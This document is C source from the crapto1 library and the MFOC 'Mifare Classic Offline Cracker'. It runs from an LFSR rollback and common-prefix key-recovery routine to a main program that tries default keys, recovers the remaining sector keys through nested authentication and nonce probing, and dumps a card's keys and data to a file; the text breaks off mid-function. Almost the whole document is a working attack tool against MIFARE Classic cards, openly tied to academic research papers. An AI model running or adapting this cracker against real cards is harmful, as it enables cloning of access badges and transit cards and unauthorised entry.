eks[16 + (i >> 1)] = BIT(ks3, i ^ 24);
}
for(i = 0xfffff; i >= 0; --i) {
if (filter(i) != oks[0])
continue;
*(tail = table) = i;
for(j = 1; tail >= table && j < 29; ++j)
extend_table_simple(table, &tail, oks[j]);
if(tail < table)
continue;
for(j = 0; j < 19; ++j)
low = low << 1 | parity(i & S1[j]);
for(j = 0; j < 32; ++j)
hi[j] = parity(i & T1[j]);
for(; tail >= table; --tail) {
for(j = 0; j < 3; ++j) {
*tail = *tail << 1;
*tail |= parity((i & C1[j]) ^ (*tail & C2[j]));
if(filter(*tail) != oks[29 + j])
goto continue2;
}
for(j = 0; j < 19; ++j)
win = win << 1 | parity(*tail & S2[j]);
win ^= low;
for(j = 0; j < 32; ++j) {
win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]);
if(filter(win) != eks[j])
goto continue2;
}
*tail = *tail << 1 | parity(LF_POLY_EVEN & *tail);
sl->odd = *tail ^ parity(LF_POLY_ODD & win);
sl->even = win;
++sl;
sl->odd = sl->even = 0;
continue2:;
}
}
return statelist;
}
/** lfsr_rollback_bit
* Rollback the shift register in order to get previous states
*/
uint8_t lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb)
{
int out;
uint8_t ret;
s->odd &= 0xffffff;
s->odd ^= (s->odd ^= s->even, s->even ^= s->odd);
out = s->even & 1;
out ^= LF_POLY_EVEN & (s->even >>= 1);
out ^= LF_POLY_ODD & s->odd;
out ^= !!in;
out ^= (ret = filter(s->odd)) & !!fb;
s->even |= parity(out) << 23;
return ret;
}
/** lfsr_rollback_byte
* Rollback the shift register in order to get previous states
*/
uint8_t lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb)
{
int i;
uint8_t ret = 0;
for (i = 7; i >= 0; --i)
ret |= lfsr_rollback_bit(s, BIT(in, i), fb) << i;
return ret;
}
/** lfsr_rollback_word
* Rollback the shift register in order to get previous states
*/
uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb)
{
int i;
uint32_t ret = 0;
for (i = 31; i >= 0; --i)
ret |= lfsr_rollback_bit(s, BEBIT(in, i), fb) << (i ^ 24);
return ret;
}
/** nonce_distance
* x,y valid tag nonces, then prng_successor(x, nonce_distance(x, y)) = y
*/
static uint16_t *dist = 0;
int nonce_distance(uint32_t from, uint32_t to)
{
uint16_t x, i;
if(!dist) {
dist = malloc(2 << 16);
if(!dist)
return -1;
for (x = i = 1; i; ++i) {
dist[(x & 0xff) << 8 | x >> 8] = i;
x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;
}
}
return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535;
}
static uint32_t fastfwd[2][8] = {
{ 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB},
{ 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980}};
/** lfsr_prefix_ks
*
* Is an exported helper function from the common prefix attack
* Described in the "dark side" paper. It returns an -1 terminated array
* of possible partial(21 bit) secret state.
* The required keystream(ks) needs to contain the keystream that was used to
* encrypt the NACK which is observed when varying only the 4 last bits of Nr
* only correct iff [NR_3] ^ NR_3 does not depend on Nr_3
*/
uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd)
{
uint32_t c, entry, *candidates = malloc(4 << 21);
int i, size = (1 << 21) - 1;
if(!candidates)
return 0;
for(i = 0; i <= size; ++i)
candidates[i] = i;
for(c = 0; c < 8; ++c)
for(i = 0;i <= size; ++i) {
entry = candidates[i] ^ fastfwd[isodd][c];
if(filter(entry >> 1) != BIT(ks[c], isodd) ||
filter(entry) != BIT(ks[c], isodd + 2))
candidates[i--] = candidates[size--];
}
candidates[size + 1] = -1;
return candidates;
}
/** check_pfx_parity
* helper function which eliminates possible secret states using parity bits
*/
static struct Crypto1State*
check_pfx_parity(uint32_t prefix, uint32_t rresp, uint8_t parities[8][8],
uint32_t odd, uint32_t even, struct Crypto1State* sl)
{
uint32_t ks1, nr, ks2, rr, ks3, c, good = 1;
for(c = 0; good && c < 8; ++c) {
sl->odd = odd ^ fastfwd[1][c];
sl->even = even ^ fastfwd[0][c];
lfsr_rollback_bit(sl, 0, 0);
lfsr_rollback_bit(sl, 0, 0);
ks3 = lfsr_rollback_bit(sl, 0, 0);
ks2 = lfsr_rollback_word(sl, 0, 0);
ks1 = lfsr_rollback_word(sl, prefix | c << 5, 1);
nr = ks1 ^ (prefix | c << 5);
rr = ks2 ^ rresp;
good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24);
good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16);
good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2, 8);
good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2, 0);
good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ ks3;
}
return sl + good;
}
/** lfsr_common_prefix
* Implentation of the common prefix attack.
* Requires the 29 bit constant prefix used as reader nonce (pfx)
* The reader response used (rr)
* The keystream used to encrypt the observed NACK's (ks)
* The parity bits (par)
* It returns a zero terminated list of possible cipher states after the
* tag nonce was fed in
*/
struct Crypto1State*
lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8])
{
struct Crypto1State *statelist, *s;
uint32_t *odd, *even, *o, *e, top;
odd = lfsr_prefix_ks(ks, 1);
even = lfsr_prefix_ks(ks, 0);
s = statelist = malloc((sizeof *statelist) << 20);
if(!s || !odd || !even) {
free(odd);
free(even);
free(statelist);
return 0;
}
for(o = odd; *o + 1; ++o)
for(e = even; *e + 1; ++e)
for(top = 0; top < 64; ++top) {
*o += 1 << 21;
*e += (!(top & 7) + 1) << 21;
s = check_pfx_parity(pfx, rr, par, *o, *e, s);
}
s->odd = s->even = 0;
free(odd);
free(even);
return statelist;
}

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/* crapto1.h
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
MA 02110-1301, US$
Copyright (C) 2008-2009 bla <blapost@gmail.com>
*/
#ifndef CRAPTO1_INCLUDED
#define CRAPTO1_INCLUDED
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
struct Crypto1State {uint32_t odd, even;};
struct Crypto1State* crypto1_create(uint64_t);
void crypto1_destroy(struct Crypto1State*);
void crypto1_get_lfsr(struct Crypto1State*, uint64_t*);
uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int);
uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int);
uint32_t crypto1_word(struct Crypto1State*, uint32_t, int);
uint32_t prng_successor(uint32_t x, uint32_t n);
struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in);
struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3);
void lfsr_rollback(struct Crypto1State* s, uint32_t in, int fb);
int nonce_distance(uint32_t from, uint32_t to);
#define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\
uint32_t __n = 0,__M = 0, N = 0;\
int __i;\
for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\
for(__i = FSIZE - 1; __i >= 0; __i--)\
if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\
break;\
else if(__i)\
__M = prng_successor(__M, (__i == 7) ? 48 : 8);\
else
#define LF_POLY_ODD (0x29CE5C)
#define LF_POLY_EVEN (0x870804)
#define BIT(x, n) ((x) >> (n) & 1)
#define BEBIT(x, n) BIT(x, (n) ^ 24)
static inline int parity(uint32_t x)
{
#if !defined __i386__ || !defined __GNUC__
x ^= x >> 16;
x ^= x >> 8;
x ^= x >> 4;
return BIT(0x6996, x & 0xf);
#else
asm( "movl %1, %%eax\n"
"mov %%ax, %%cx\n"
"shrl $0x10, %%eax\n"
"xor %%ax, %%cx\n"
"xor %%ch, %%cl\n"
"setpo %%al\n"
"movzx %%al, %0\n": "=r"(x) : "r"(x): "eax","ecx");
return x;
#endif
}
static inline int filter(uint32_t const x)
{
uint32_t f;
f = 0xf22c0 >> (x & 0xf) & 16;
f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8;
f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4;
f |= 0x1e458 >> (x >> 12 & 0xf) & 2;
f |= 0x0d938 >> (x >> 16 & 0xf) & 1;
return BIT(0xEC57E80A, f);
}
#ifdef __cplusplus
}
#endif
#endif

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/* crypto1.c
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
MA 02110-1301, US
Copyright (C) 2008-2008 bla <blapost@gmail.com>
*/
#include "crapto1.h"
#include <stdlib.h>
#define SWAPENDIAN(x)\
(x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16)
struct Crypto1State * crypto1_create(uint64_t key)
{
struct Crypto1State *s = malloc(sizeof(*s));
int i;
for(i = 47;s && i > 0; i -= 2) {
s->odd = s->odd << 1 | BIT(key, (i - 1) ^ 7);
s->even = s->even << 1 | BIT(key, i ^ 7);
}
return s;
}
void crypto1_destroy(struct Crypto1State *state)
{
free(state);
}
void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr)
{
int i;
for(*lfsr = 0, i = 23; i >= 0; --i) {
*lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3);
*lfsr = *lfsr << 1 | BIT(state->even, i ^ 3);
}
}
uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted)
{
uint32_t feedin;
uint8_t ret = filter(s->odd);
feedin = ret & !!is_encrypted;
feedin ^= !!in;
feedin ^= LF_POLY_ODD & s->odd;
feedin ^= LF_POLY_EVEN & s->even;
s->even = s->even << 1 | parity(feedin);
s->odd ^= (s->odd ^= s->even, s->even ^= s->odd);
return ret;
}
uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted)
{
uint8_t i, ret = 0;
for (i = 0; i < 8; ++i)
ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i;
return ret;
}
uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted)
{
uint32_t i, ret = 0;
for (i = 0; i < 32; ++i)
ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24);
return ret;
}
/* prng_successor
* helper used to obscure the keystream during authentication
*/
uint32_t prng_successor(uint32_t x, uint32_t n)
{
SWAPENDIAN(x);
while(n--)
x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;
return SWAPENDIAN(x);
}

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/*
Mifare Classic Offline Cracker version 0.08
Requirements: crapto1 library http://code.google.com/p/crapto1
libnfc http://www.libnfc.org
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Contact: <mifare@nethemba.com>
Porting to libnfc 1.3.3: Michal Boska <boska.michal@gmail.com>
URL http://eprint.iacr.org/2009/137.pdf
URL http://www.sos.cs.ru.nl/applications/rfid/2008-esorics.pdf
URL http://www.cosic.esat.kuleuven.be/rfidsec09/Papers/mifare_courtois_rfidsec09.pdf
URL http://www.cs.ru.nl/~petervr/papers/grvw_2009_pickpocket.pdf
*/
#ifndef PACKAGE_STRING
#define PACKAGE_STRING "0.08"
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <nfc/nfc.h>
#include <nfc/mifaretag.h>
#include "crapto1.h"
#include "mfoc.h"
int main(int argc, char * const argv[]) {
int ch, i, k, n, j, m, o;
int key, block;
int succeed = 1;
// Exploit sector
int e_sector;
int probes = DEFAULT_PROBES_NR;
int sets = DEFAULT_SETS_NR;
// By default, dump 'A' keys
int dumpKeysA = true;
bool failure = false;
bool skip = false;
// Next default key specified as option (-k)
byte_t * defKey = NULL;
// Array with default Mifare Classic keys
byte_t defaultKeys[][6] = {
{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // First key
{0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // Second key
{0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5}, // Third key
{0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
{0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd},
{0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a},
{0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7},
{0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff},
{0x71, 0x4c, 0x5c, 0x88, 0x6e, 0x97},
{0x58, 0x7e, 0xe5, 0xf9, 0x35, 0x0f},
{0xa0, 0x47, 0x8c, 0xc3, 0x90, 0x91},
{0x53, 0x3c, 0xb6, 0xc7, 0x23, 0xf6},
{0x8f, 0xd0, 0xa4, 0xf2, 0x56, 0xe9}
};
mftag t;
mfreader r;
denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}};
// Pointers to possible keys
pKeys *pk;
countKeys *ck;
// Pointer to already broken keys, except defaults
bKeys *bk;
static mifare_param mp;
static mifare_tag mtDump;
mifare_cmd mc;
FILE *pfDump = NULL;
// Parse command line arguments
while ((ch = getopt(argc, argv, "hD:s:BP:T:S:O:k:t:")) != -1) {
switch (ch) {
case 'P':
// Number of probes
if (!(probes = atoi(optarg)) || probes < 1) {
fprintf(stderr, "The number of probes must be a positive number\n");
exit(1);
}
// fprintf(stdout, "Number of probes: %d\n", probes);
break;
case 'T':
// Nonce tolerance range
if (!(d.tolerance = atoi(optarg)) || d.tolerance < 0) {
fprintf(stderr, "The nonce distances range must be a zero or a positive number\n");
exit(1);
}
// fprintf(stdout, "Tolerance number: %d\n", probes);
break;
case 'k':
// Add this key to the default keys list
if ((defKey = calloc(6, sizeof(byte_t))) == NULL) {
fprintf(stderr, "Cannot allocate memory for defKey\n");
exit(1);
} else {
bzero(defKey, 6);
num_to_bytes(strtol(optarg, NULL, 16), 6, defKey);
memcpy(defaultKeys[0], defKey, 6);
}
fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKey, 6));
break;
case 'O':
// File output
if (!(pfDump = fopen(optarg, "wb"))) {
fprintf(stderr, "Cannot open: %s, exiting\n", optarg);
exit(1);
}
// fprintf(stdout, "Output file: %s\n", optarg);
break;
case 'h':
usage(stdout, 0);
break;
default:
usage(stderr, 1);
break;
}
}
if (!pfDump) {
fprintf(stderr, "Error, parameter -O is mandatory\n");
exit(1);
}
// Initialize reader/tag structures
mf_init(&t, &r);
// Configure reader settings
mf_configure(r.pdi);
mf_select_tag(r.pdi, &t.ti);
// Save tag uid and info about block size (b4K)
t.b4K = (t.ti.nai.abtAtqa[1] == 0x02);
t.uid = (uint32_t) bytes_to_num(t.ti.nai.abtUid, 4);
t.num_blocks = (t.b4K) ? 0xff : 0x3f;
t.num_sectors = t.b4K ? NR_TRAILERS_4k : NR_TRAILERS_1k;
t.sectors = (void *) calloc(t.num_sectors, sizeof(sector));
if (t.sectors == NULL) {
fprintf(stderr, "Cannot allocate memory for t.sectors\n");
exit(1);
}
if ((pk = (void *) malloc(sizeof(pKeys))) == NULL) {
fprintf(stderr, "Cannot allocate memory for pk\n");
exit(1);
}
if ((bk = (void *) malloc(sizeof(bKeys))) == NULL) {
fprintf(stderr, "Cannot allocate memory for bk\n");
exit(1);
} else {
bk->brokenKeys = NULL;
bk->size = 0;
}
d.distances = (void *) calloc(d.num_distances, sizeof(u_int32_t));
if (d.distances == NULL) {
fprintf(stderr, "Cannot allocate memory for t.distances\n");
exit(1);
}
// Test if a compatible MIFARE tag is used
if ((t.ti.nai.btSak & 0x08) == 0) {
printf("Error: inserted tag is not a MIFARE Classic card\n");
nfc_disconnect(r.pdi);
exit(1);
}
// Initialize t.sectors, keys are not known yet
for (i = 0; i < (t.num_sectors); ++i) {
t.sectors[i].foundKeyA = t.sectors[i].foundKeyB = false;
}
fprintf(stdout, "Found MIFARE Classic %cK card with uid: %08x\n", (t.b4K ? '4' : '1'), t.uid);
// Try to authenticate to all sectors with default keys
// Set the authentication information (uid)
memcpy(mp.mpa.abtUid, t.ti.nai.abtUid, sizeof(mp.mpa.abtUid));
// Iterate over all keys (n = number of keys)
n = sizeof(defaultKeys)/sizeof(defaultKeys[0]);
for (key = 0; key < n; key++) {
if (key == 0 && defKey == NULL) ++key; // Custom key not provided, try another key
memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey));
fprintf(stdout, "[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6));
fprintf(stdout, "[");
i = 0; // Sector counter
// Iterate over every block, where we haven't found a key yet
for (block = 0; block <= t.num_blocks; ++block) {
if (trailer_block(block)) {
if (!t.sectors[i].foundKeyA) {
mc = MC_AUTH_A;
if (!nfc_initiator_mifare_cmd(r.pdi,mc,block,&mp)) {
// fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x\n",
// bytes_to_num(mp.mpa.abtKey, 6), i, block);
mf_anticollision(t, r);
} else {
// Save all information about successfull keyA authentization
memcpy(t.sectors[i].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[i].foundKeyA = true;
}
}
if (!t.sectors[i].foundKeyB) {
mc = MC_AUTH_B;
if (!nfc_initiator_mifare_cmd(r.pdi,mc,block,&mp)) {
// fprintf(stdout, "!!Error: AUTH [Key B:%012llx] sector %02x t_block %02x\n",
// bytes_to_num(mp.mpa.abtKey, 6), i, block);
mf_anticollision(t, r);
// No success, try next block
t.sectors[i].trailer = block;
} else {
memcpy(t.sectors[i].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[i].foundKeyB = true;
}
}
if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) {
fprintf(stdout, "x");
} else {
fprintf(stdout, ".");
}
fflush(stdout);
mf_configure(r.pdi);
mf_anticollision(t, r);
// fprintf(stdout, "\nSuccess: AUTH [Key %c:%012llx] sector %02x t_block %02x\n",
// (mc == MC_AUTH_A ? 'A' :'B'), bytes_to_num(mp.mpa.abtKey, 6), i, block);
// Save position of a trailer block to sector struct
t.sectors[i++].trailer = block;
}
}
fprintf(stdout, "]\n");
}
fprintf(stdout, "\n");
for (i = 0; i < (t.num_sectors); ++i) {
fprintf(stdout, "Sector %02d - %12s ", i, ((t.sectors[i].foundKeyA) ? " FOUND_KEY [A]" : " UNKNOWN_KEY [A]"));
fprintf(stdout, "Sector %02d - %12s ", i, ((t.sectors[i].foundKeyB) ? " FOUND_KEY [B]" : " UNKNOWN_KEY [B]"));
fprintf(stdout, "\n");
}
fflush(stdout);
// Return the first (exploit) sector encrypted with the default key or -1 (we have all keys)
e_sector = find_exploit_sector(t);
//mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd'); // AUTH + Get Distances mode
// Recover key from encrypted sectors, j is a sector counter
for (m = 0; m < 2; ++m) {
if (e_sector == -1) break; // All keys are default, I am skipping recovery mode
for (j = 0; j < (t.num_sectors); ++j) {
memcpy(mp.mpa.abtUid, t.ti.nai.abtUid, sizeof(mp.mpa.abtUid));
if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
// First, try already broken keys
skip = false;
for (o = 0; o < bk->size; o++) {
num_to_bytes(bk->brokenKeys[o], 6, mp.mpa.abtKey);
mc = dumpKeysA ? 0x60 : 0x61;
if (!nfc_initiator_mifare_cmd(r.pdi,mc,t.sectors[j].trailer,&mp)) {
// fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x, key %d\n",
// bytes_to_num(mp.mpa.abtKey, 6), j, t.sectors[j].trailer, o);
mf_anticollision(t, r);
} else {
// Save all information about successfull authentization
if (dumpKeysA) {
memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[j].foundKeyA = true;
} else {
memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[j].foundKeyB = true;
}
printf("Sector: %d, type %c\n", j, (dumpKeysA ? 'A' : 'B'));
fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
bytes_to_num(mp.mpa.abtKey, 6));
mf_configure(r.pdi);
mf_anticollision(t, r);
skip = true;
break;
}
}
if (skip) continue; // We have already revealed key, go to the next iteration
// Max probes for auth for each sector
for (k = 0; k < probes; ++k) {
// Try to authenticate to exploit sector and determine distances (filling denonce.distances)
mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode
printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
// Configure device to the previous state
mf_configure(r.pdi);
mf_anticollision(t, r);
pk->possibleKeys = NULL;
pk->size = 0;
// We have 'sets' * 32b keystream of potential keys
for (n = 0; n < sets; n++) {
// AUTH + Recovery key mode (for a_sector), repeat 5 times
mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA);
mf_configure(r.pdi);
mf_anticollision(t, r);
fprintf(stdout, ".");
fflush(stdout);
}
fprintf(stdout, "\n");
// Get first 15 grouped keys
ck = uniqsort(pk->possibleKeys, pk->size);
for (i = 0; i < TRY_KEYS ; i++) {
// We don't known this key, try to break it
// This key can be found here two or more times
if (ck[i].count > 0) {
// fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
// Set required authetication method
num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
mc = dumpKeysA ? 0x60 : 0x61;
if (!nfc_initiator_mifare_cmd(r.pdi,mc,t.sectors[j].trailer,&mp)) {
// fprintf(stdout, "!!Error: AUTH [Key A:%llx] sector %02x t_block %02x\n",
// bytes_to_num(mp.mpa.abtKey, 6), j, t.sectors[j].trailer);
mf_anticollision(t, r);
} else {
// Save all information about successfull authentization
bk->size++;
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
bk->brokenKeys[bk->size-1] = bytes_to_num(mp.mpa.abtKey, 6);
if (dumpKeysA) {
memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[j].foundKeyA = true;
} else {
memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[j].foundKeyB = true;
}
fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
bytes_to_num(mp.mpa.abtKey, 6));
mf_configure(r.pdi);
mf_anticollision(t, r);
break;
}
}
}
free(pk->possibleKeys);
free(ck);
// Success, try the next sector
if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
}
// We haven't found any key, exiting
if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
fprintf(stderr, "No success, maybe you should increase the probes\n");
exit(1);
}
}
}
dumpKeysA = false;
}
for (i = 0; i < (t.num_sectors); ++i) {
if ((dumpKeysA && !t.sectors[i].foundKeyA) || (!dumpKeysA && !t.sectors[i].foundKeyB)) {
fprintf(stdout, "\nTry again, there are still some encrypted blocks\n");
succeed = 0;
break;
}
}
if (succeed) {
i = t.num_sectors; // Sector counter
fprintf(stdout, "Auth with all sectors succeeded, dumping keys to a file!\n");
// Read all blocks
for (block = t.num_blocks; block >= 0; block--) {
trailer_block(block) ? i-- : i;
failure = true;
// Try A key, auth() + read()
memcpy(mp.mpa.abtKey, t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA));
if (!nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_A, block, &mp)) {
// fprintf(stderr, "Error: Auth A\n");
mf_configure(r.pdi);
mf_anticollision(t, r);
} else { // and Read
if (nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) {
fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'A', bytes_to_num(t.sectors[i].KeyA, 6));
print_hex(mp.mpd.abtData, 16);
mf_configure(r.pdi);
mf_select_tag(r.pdi, &t.ti);
failure = false;
} else {
// Error, now try read() with B key
// fprintf(stderr, "Error: Read A\n");
mf_configure(r.pdi);
mf_anticollision(t, r);
memcpy(mp.mpa.abtKey, t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB));
if (!nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mp)) {
// fprintf(stderr, "Error: Auth B\n");
mf_configure(r.pdi);
mf_anticollision(t, r);
} else { // and Read
if (nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) {
fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'B', bytes_to_num(t.sectors[i].KeyB, 6));
print_hex(mp.mpd.abtData, 16);
mf_configure(r.pdi);
mf_select_tag(r.pdi, &t.ti);
failure = false;
} else {
mf_configure(r.pdi);
mf_anticollision(t, r);
// fprintf(stderr, "Error: Read B\n");
}
}
}
}
if (trailer_block(block)) {
// Copy the keys over from our key dump and store the retrieved access bits
memcpy(mtDump.amb[block].mbt.abtKeyA, t.sectors[i].KeyA,6);
memcpy(mtDump.amb[block].mbt.abtKeyB,t.sectors[i].KeyB,6);
if (!failure) memcpy(mtDump.amb[block].mbt.abtAccessBits,mp.mpd.abtData+6,4);
} else if (!failure) memcpy(mtDump.amb[block].mbd.abtData, mp.mpd.abtData,16);
memcpy(mp.mpa.abtUid,t.ti.nai.abtUid,4);
}
// Finally save all keys + data to file
if (fwrite(&mtDump, 1, sizeof(mtDump), pfDump) != sizeof(mtDump)) {
fprintf(stdout, "Error, cannot write dump\n");
fclose(pfDump);
exit(1);
}
fclose(pfDump);
}
free(t.sectors);
free(d.distances);
// Reset the "advanced" configuration to normal
nfc_configure(r.pdi, NDO_HANDLE_CRC, true);
nfc_configure(r.pdi, NDO_HANDLE_PARITY, true);
// Disconnect device and exit
nfc_disconnect(r.pdi);
return 0;
}
void usage(FILE * stream, int errno) {
fprintf(stream, "mfoc %s\n\n", PACKAGE_STRING);
fprintf(stream, "usage: mfoc [-h] [-P probnum] [-T tolerance] [-k custom_key] [-O output]\n\n");
fprintf(stream, "example: mfoc\n");
fprintf(stream, "example: mfoc -k ffffeeeedddd -O card_dump\n");
fprintf(stream, "example: mfoc -P 50 -O card_dump\n");
fprintf(stream, "\n");
fprintf(stream, " h : print this help\n");
// fprintf(stream, " B : instead of 'A' dump 'B' keys\n");
fprintf(stream, " k : use a specified key instead of looking for defaults ones\n");
// fprintf(stream, " D : number of distance probes, default is 20\n");
// fprintf(stream, " S : number of sets with keystreams, default is 5\n");
fprintf(stream, " P : number of probes for a key recovery for one sector, default is 20\n");
fprintf(stream, " T : range for a possible distance tolerance, default is 20 (40 in both direction)\n");
// fprintf(stream, " s : specify the list of sectors to crack, for example -s 0,1,3,5\n");
fprintf(stream, " O : dump file where the revealed keys should be stored\n");
fprintf(stream, "\n");
exit(errno);
}
void mf_init(mftag *t, mfreader *r) {
// Connect to the first NFC device
r->pdi = nfc_connect(NULL);
if (!r->pdi) {
fprintf(stderr, "!Error connecting to the NFC reader\n");
exit(1);
}
}
void mf_configure(nfc_device_t* pdi) {
nfc_initiator_init(pdi);
// Drop the field for a while, so can be reset
nfc_configure(pdi,NDO_ACTIVATE_FIELD,false);
// Let the reader only try once to find a tag
nfc_configure(pdi,NDO_INFINITE_SELECT,false);
// Configure the CRC and Parity settings
nfc_configure(pdi,NDO_HANDLE_CRC,true);
nfc_configure(pdi,NDO_HANDLE_PARITY,true);
// Enable the field so more power consuming cards can power themselves up
nfc_configure(pdi,NDO_ACTIVATE_FIELD,true);
}
void mf_select_tag(nfc_device_t* pdi, nfc_target_info_t* ti) {
// Poll for a ISO14443A (MIFARE) tag
if (!nfc_initiator_select_tag(pdi,NM_ISO14443A_106,NULL,0,ti)) {
fprintf(stderr, "!Error connecting to the MIFARE Classic tag\n");
nfc_disconnect(pdi);
exit(1);
}
}
int trailer_block(uint32_t block)
{
// Test if we are in the small or big sectors
return (block < 128) ? ((block + 1) % 4 == 0) : ((block + 1) % 16 == 0);
}
// Return position of sector if it is encrypted with the default key otherwise exit..
int find_exploit_sector(mftag t) {
int i;
bool interesting = false;
for (i = 0; i < t.num_sectors; i++) {
if (!t.sectors[i].foundKeyA || !t.sectors[i].foundKeyB) {
interesting = true;
break;
}
}
if (!interesting) {
fprintf(stdout, "\nWe have all sectors encrypted with the default keys..\n\n");
return -1;
}
for (i = 0; i < t.num_sectors; i++) {
if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) {
fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i);
return i;
}
}
